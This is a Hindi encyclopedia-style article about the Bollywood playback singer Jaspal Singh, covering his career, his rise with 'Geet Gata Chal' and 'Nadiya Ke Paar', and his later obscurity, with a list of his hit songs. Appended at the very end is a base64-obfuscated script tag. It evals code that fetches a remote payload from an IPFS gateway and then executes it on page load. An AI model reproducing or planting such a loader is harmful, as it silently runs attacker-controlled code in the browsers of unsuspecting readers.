जसपाल सिंह

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (वार्ता | योगदान) द्वारा परिवर्तित 11:25, 8 मार्च 2020 का अवतरण (''''जसपाल सिंह''' (अंग्रेज़ी: ''Jaspal Singh'') भारतीय हिन्दी स...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:नेविगेशन, खोजें

जसपाल सिंह (अंग्रेज़ी: Jaspal Singh) भारतीय हिन्दी सिनेमा के बेहतरीन पार्श्वगायकों में से एक हैं। उन्होंने हिंदी फिल्मों में बहुत-से गाने गाये, जिनमें बहुत-से हिट हुए और कई तो आज भी उतने ही मधुर और ताजगी भरे लगते हैं, जितने कल थे। जसपाल सिंह ने गीतों के रीमिक्स ही नहीं बल्कि ग़ज़ल, भजन और पारम्परिक शास्त्रीय संगीत आदि भी गाये हैं। देश-विदेश में स्टेज शो के द्वारा प्रसिद्धि भी पायी है। अपने दौर की लोकप्रिय पार्श्वगायिकाओं हेमलता, आरती मुखर्जी आदि गायिकाओं के साथ बहुत ही सुन्दर गाने गाये। जसपाल सिंह जी भले ही एक सिक्ख थे, लेकिन उनकी आवाज़ में भारत के पूर्वी क्षेत्र की मिठास थी। कोई भी उनकी आवाज़ को सुनकर यह नहीं कह सकता कि ये आवाज़ एक पंजाबी व्यक्ति की है। गायक जसपाल सिंह के गाये अनेकों गीत अविस्मर्णीय हैं। जिन फिल्मों में जसपाल जी ने सदाबहार गाने गाये थे, उनमें प्रमुख हैं- ‘नदिया के पार’, ‘अंखियों के झरोखों से’, ‘गीत गाता चल’, ‘सावन को आने दो’, ‘श्याम तेरे कितने नाम’, ‘पायल की झंकार’, ‘जिद’, ‘दो यारों की यारी’ इत्यादि।

मुम्बई आगमन

सन 1975 में रिलीज हुई थी फिल्म 'गीत गाता चल'। फिल्म सुपर हिट साबित हुई। फिल्म की कामियाबी में रवींद्र जैन के संगीत के साथ-साथ ताज़गी भरी आवाज़ के मालिक जसपाल सिंह का बड़ा हाथ था। लंबे समय से गायन के मैदान में अपनी पहचान बनाने को भटक रहे जसपाल सिंह की बरसों की तमन्ना पूरी हो गयी थी। अपना शहर अमृतसर, पिता का व्यापार और मां की ममता छोड़कर वह सिर्फ गायक बनने की जद्दो-जेहद में लगे हुए थे। दरअसल बचपन में मोहम्मद रफ़ी की आवाज़ क्या सुनी जसपाल सिंह तो उस आवाज के दीवाने हो गए।

पांच साल की उम्र से लेकर कॉलेज पहुंचने तक जसपाल जी ने सिर्फ मोहम्मद रफ़ी के गीत ही गाए। हांलाकि उन्होंने लॉ का पढ़ाई पूरी की और घर वाले उन्हें एक सफल वकील के रूप में देखना चाहते थे, लेकिन लोगों की तारीफों से उत्साहित होकर जसपाल सिंह गायक बनने का सपना लिए मुंबई जा पहुंचे। उस समय पुरुष गायकों के मैदान में मोहम्मद रफ़ी, किशोर कुमार और मुकेश का सिक्का चल रहा था। इसके अलावा मन्ना डे और महेंद्र कपूर जैसे दिग्गजों का अपना अलग स्थान था। ऐसे माहौल में नए लोगों के लिये मौक़े कम थे।

सफलता

जसपाल सिंह को कोई मौका देने को राजी नहीं हुआ। गायकी के लिये जसपाल जी की बेचैनी और तड़प देखकर उनके बहनोई जसवीर सिंह खुराना ने 'बंदिश' नाम की फिल्म ही बना दी ताकि जसपाल सिंह को गाने का मौका मिल सके, लेकिन ये फिल्म और इसका संगीत दोनों नाकाम रहे। इससे जसपाल सिंह को भारी धक्का पहुंचा। फिर भी दिल में एक उम्मीद की किरन बची हुई थी कि एक दिन कोई बड़ा मौका ज़रूर मिलेगा और 'गीत गाता चल' ने जसपाल सिंह को ऐसा मौका दिया जिसकी तमन्ना किसी भी गायक को होती है।

शोहरत और तारीफो ने जसपाल सिंह की उम्मीदों को पंख लगा दिए। उनके सामने था उड़ान भरने को खुला आसमान। जसपाल सिंह की गायकी के सफ़र ने रफ़्तार पकड़ी तो कई ख़ूबसूरत नग़्मे उनके हमसफ़र बनते गए। अभिनेता सचिन से जसपाल सिंह की आवाज़ मेल खाती थी, इसीलिये उन्हें उनकी फ़िल्मों में गाने के मौक़े मिले। फिल्म 'नदिया के पार' में उनके गाए गीत सांची कहे तोरे आवन से हमरे, अंगना में आयी बहार भउजी ने सफलता के नए रिकॉर्ड बना डाले। इस फिल्म के सारे गीत बेहद लोकप्रिय हुए।

गुमनामी

अपनी कामयाबी में मगन हुए जसपाल सिंह को ये एहसास ही नहीं हुआ कि उन पर केवल सचिन के लिये ही बेहतरीन गीत गाने वाले का ठप्पा लग चुका है। दूसरे युवा अभिनेताओं के लिए गीते गाने के प्रस्ताव उनके पास आने ही बंद हो गए। तब तक किशोर कुमार के बेटे अमित, मुकेश के बेटे नील नितिन मुकेश के साथ-साथ दक्षिण के बाला सुब्रह्मणियम और येसुदास मैदान में उतर चुके थे। मोहम्मद रफ़ी की कॉपी करने वाले अनवर, शब्बीर कुमार और मोहम्मद अजीज को भी मौके मिलने लगे थे। उधर सीधे और सरल जसपाल जी कोई गॉड फॉदर भी नहीं बना पाए। फ़िल्मी दुनिया के अपने उसूल और क़ानून हैं, इसका एहसास जसपाल सिंह को नहीं था।

सुपरहिट गीत देने वाले जसपाल सिंह के साथ किस्मत ने भी खासा मजाक किया। 'नदिया के पार' की बेतहाशा सफलता के बाद होना तो ये चाहिये था कि उनके पास गीते गाने के प्रस्तावों की लाइन लग जाती, लेकिन जिन फ़िल्मों में उन्हें गाने का मौक़ा मिला, उनमें से ज्यादातर रिलीज़ ही नहीं हुई। इसके अलावा बेहतरीन गीत गाने के बवजूद जसपाल जी को उस समय के किसी बड़े बैनर की फिल्म भी नहीं मिल पायी। उन्होंने अधिकतर बी ग्रेड कही जाने वाली फिल्मों के लिये ही गाया। अस्सी के दशक में फिल्मी संगीत के पतन का दौर शुरू हुआ। फिल्मों में बढ़ती हिंसा ने संगीत के लिए मौके बहुत कम कर दिए। ऐसे में जसपाल सिंह के लिये काम ढूंढना बेहद कठिन हो गया और कौन सोच सकता था कि इतनी शानदार आवाज़ के मालिक को धीरे-धीरे गुमनामी के अंधेरे निगल लेंगे। फिर भी जसपाल सिंह को किसी से शिकवा नहीं है। स्टेज शो में अक्सर उन्हें उनके चाहने वाले सुन लेते हैं।

गीत

जसपाल सिंह के हिट गीत
क्र.सं. गीत फ़िल्म
1. धरती मेरी माता, पिता आसमान गीत गाता चल
2. गीत गाता चल ओ साथी गुनगुनाता चल गीता गाता चल
3. मंगल भवन अमंगल हारी, द्रवहु सुदशरथ अजर बिहारी गीता गाता चल
4. चौपाईयाँ रामायण गीता गाता चल
5. श्याम तेरी बंशी पुकारे राधा नाम गीता गाता चल
6. साची कंहे तोरे आवन से हमरे, अंगना में आई बहारा भौजी नदिया के पार
7. बढ़े बड़ाई न करें, बड़े न बोले बोल अंखियों के झरोखों से
8. गगन ये समझे चाँद सुखी है सावन को आने दो
9. जब-जब तू मेरे सामने आये श्याम तेरे कितने नाम
10. कौन दिशा में लेके चला रे बटुहिआ नदिया के पार
11. ओ साथी दु:ख में ही सुख है छिपा रे सावन को आने दो
12. सावन को आने दो (शीर्षक गीत) सावन को आने दो
13. जोगी जी धीरे-धीरे नदिया के पार
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>